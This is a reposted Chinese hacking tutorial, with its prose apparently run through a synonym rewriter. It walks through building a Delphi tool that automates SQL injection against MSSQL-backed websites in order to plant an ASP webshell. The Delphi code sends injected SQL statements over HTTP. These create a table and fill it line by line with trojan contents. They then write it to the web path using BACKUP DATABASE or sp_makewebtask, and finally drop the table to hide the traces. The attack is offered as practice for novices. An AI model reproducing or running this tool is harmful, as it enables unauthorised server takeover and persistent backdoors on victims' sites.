得到WEBSHELL就这么简单[网络技术]
本文“得到WEBSHELL就这么简单[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
(注:本期后文有N.E.V.E.R的这个文章,相信此文又给广大的脚本爱好者开辟了一个新天地!)
一.通过SQL注入得到WEBSHELL的原理:
N.E.V.E.R的办法:操纵数据库备份得到WEBSHELL.成立一个表,在表中建一个字段用来保存木马数据.然后操纵MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表.
解析: N.E.V.E.R操纵了MSSQL的备份数据库功效.把数据导出来,假想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的情势保存.然后文件又保存在WEB的途径下.那么这个导出的ASP文件是不是要去注释<%%> 之内的语句呢?假如数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误.不过,这种机会也不太大.
再来看看CZY的办法吧.
CZY的办法:前面的和N.E.V.E.R的办法基本上差不多.只是背面用到了扩大存储历程——sp_makewebtask.这个扩大存储历程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的办法保存起来.这种办法就不会呈现什么问题缘由在于:我们只去读表中的某个字段中的值.把字段的信息导出来生成文件.这个字段中的值都是我们刚加上的.自己在加入数据的时刻,先调试一下,没有问题在加入进去,导出来就当然没有问题了.
以上两位的办法,我都手工测试过.操纵SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表.都是操纵的SQL语句.这里我就不多说了,大家可以看本期的文章.
二.操纵DELPHI去实现功效的前言
原理都解析过了.我们怎么操纵DELPHI来实现他们的手工操作呢?其实办法是非常简单的.DELPHI供应了一个NMHTTP控件.我们操纵这个控件便可以向某个特定的URL提交参数.然后实现我们的自动注射功效.我即刻要为大家讲授的这个程序,有一个特点.也可以说成是一个缺陷吧.程序不去自动猜解WEB的绝对途径.程序不去判断当前衔接SQL数据库的当前账号的权限.我为什么要这么做?因为得到这二者用SQL注入是非常可贵到的.所以,我们程序发送号令就不会考虑太多.成不成功你履行完自己去看看生成没有就OK了.
(注:嘿嘿,这么好的思绪怎么能让它逃脱!所以在小编的威胁迷惑+mm拐骗的手段下,本期要饭的再一次献上了自己的大作:《操纵纯脚本技术获得服务器管理员权限》!相信这是脚本方面最巨大的思绪了!完好将脚本的理念施展了出来,大家赶忙找本期的经典文章吧!)
三.若何操纵DELPHI得到WEBSHELL.
程序顶用到的值.我们这里来看看有哪些:URL途径,远程WEB绝对途径(通过其他办法得到,你一定有办法的) 采取什么办法去得到WEBSHELL(也就是两位的办法,你选哪一种).我们同时要求点击一个按纽开始履行号令,和点击一个按纽来终止命今.最后就是新建的表的名称,以及表的字段名称,再次就是字段的范例.前面的我们在程序中放上输入,挑选之类的控件就行了.背面的我们设一个选项按纽点按纽弹出呼应设置.再把这些呼应的设置用一个RECORD来保存.
首先,我们在主表单中放三个EDIT控件.名称辨别是:UrlET //URL途径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置.再放两个RadioButton用来挑选采取什么方法获得WEBSHELL.CAPTION辨别取名为: BackUP DataBase 和 WEB功课.然后再放三个SpeedButtion按纽.名称辨别是:设置,开始,终止, 最后再放一个MEMO控件.来显示当前增添的信息.到此界面上的工作就做完了.界面如图:
hack58.net/article/UploadPic/2009-5/200951705426220.bmp" width=523 style="cursor:pointer;"/>
目前来写程序了.
我们首先定义一个RECORD.
以下:
Type
SetOption = Record
TableName : String; //用来保存要成立的表名.
FieldName : String; //用来保存要成立的字段名.
FiledType : String; //用来保存成立的字段名范例.
End;
FiledType字段范例的值是以下范例的一种:
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段范例值.
再定义一个全局变量:
Var
ISStop : Boolean; //用来判断用户能否按下了终止按纽.
好了.在表单成立的历程中,我们为RECORD记录输入默许值.
代码以下:
procedure TMainForm.FormCreate(Sender: TObject);
begin
sOption.TableName :='cyfd';
sOption.FieldName :='gmemo';
sOption.FiledType :='text';
end;
目前我们增添开始履行号令的代码.
先定义BDoorList 为TstringList.主要目的就是把木马的内容加进来.
成立两个变量来保存urlET.和ShellPathET的值.便利程序简化调用.
在程序开始履行前,我们得先查抄一下用户的输入
定义一个Checkinput函数.
以下:
Function CheckInput : Boolean;
Begin
Result := False;
if Trim(urlet.Text) = '' then
Begin
Application.MessageBox('请输入URL地址!','提醒',mb_ok+mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = '' then
Begin
Application.MessageBox('请输入文件保存地址!','提醒',mb_ok+mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName)+'默许木马.txt') then
Begin
Application.MessageBox('没有找到 [默许木马.txt] 文件!','提醒',mb_ok+mb_iconinformation);
Exit;
End;
End
Else
if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox('没有找到所选的木马文件!','提醒',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
在最开始加入:
IF Not CheckInput then Exit; //假如输入不合理就退出历程.
好了,假如用户输入没什么错,我们就来下面的代码.
首先我们把IsStop设为假.成立BdoorList.
BDoorList := TstringList.Create;
再加木马内容到BDoorlist.
BDoorList.LoadFromFile(CustomBdoorET.text);
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时刻.要把输入的一些分外标记传达成编码.我们这里要把空格和%标记替换成呼应的编码辨别是:%20和%25,不然.程序加不进数据.
代码以下:
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
接下来.我们就提交建表的功效了.
Memo.Lines.Add('建表...');
Memo.Lines.Add(''); NMHttp.Get(Url+';CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
这样我们就成立了一个表.然后.我们向表中加记录:
代码以下:
Memo.Lines.Add('加数据...');
Memo.Lines.Add('');
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
Begin
IF IsStop then //这里假如点了终止按纽程序将终止任务.
Begin
BDoorList.Free;
Exit;
End; NMhttp.Get(Url+';Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings[i]+''');');
Memo.Lines.Add('Add Line '+Inttostr(i+1));
End;
目前就是导出数据生成木马了.
Memo.Lines.Add('导出数据...');
Memo.Lines.Add('');
IF BKData.Checked then //假如选中采取备份数据就履行下面的号令.
NMhttp.Get(Url+';declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+''';')
Else //假如是用WEB功课的情势. NMhttp.Get(Url+';EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''';');
我们再删除刚建的表.NMHttp.Get(Url+';drop%20TABLE%20[dbo].['+sOption.TableName+'];');
这样我们的任务就完成了.下面来释放变量.
BDoorList.Free;
再来向终止按纽中增添点击事件:
一行代码就行了:IsStop := True;
到这里主表单的内容基本上完成了.目前我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需求将用户输入的新值,再次赋给RECORD就行了.
设置表单中先引用主表单.然后在界面中增添二个EDIT控件:
第一个名称为:TableNameET //保用户输入的存暂时表
第二个名称为:FieldNameET //用来保存用户输入的字段名.
再增添一个Combobox //用来保存用户所选的字段范例值.
名称:FieldTypeCombox
OK.界面以下:
hack58.net/article/UploadPic/2009-5/200951705428720.bmp" width=305 style="cursor:pointer;"/>
代码以下:
定义一个历程,主表单好调用这个设置.
Procedure ShowSet;
Begin
Application.CreateForm(TSetForm,SetForm);
With SetForm do
Begin
TableNameET.Text := sOption.TableName;
FieldNameET.Text := sOption.FieldName;
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
End;
SetForm.ShowModal;
SetForm.Free;
End;
在主表单中设置的点击事件中增添上showset历程就行了.
下面就是点击肯定的代码了.
IF CheckInput then
Begin
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
sOption.FieldName := Trim(FieldNameET.Text);
sOption.FiledType := FieldTypeCombox.Text;
Close;
End;
这里又有一个CheckInput主要就是查抄用户输入的值是不是合理.
代码以下:
Function CheckInput : Boolean;
Begin
Result := False;
IF Trim(TableNameET.Text)='' then
Begin
Application.MessageBox('请输入暂时表名!','提醒',mb_ok+mb_iconinformation);
Exit;
End;
IF Trim(FieldNameET.Text)='' then
Begin
Application.MessageBox('请输入字段名!','提醒',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
到这里程序就完了.
后语:
程序是非常简单的.也没用到什么技术.用于新手练练手吧.写这个程序.我只用了1个小时不到就竣工了.程序也经测试,都成功了,这是我第一次写这种范例的文章,有不足之处,请大家谅解.
以上是“得到WEBSHELL就这么简单[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |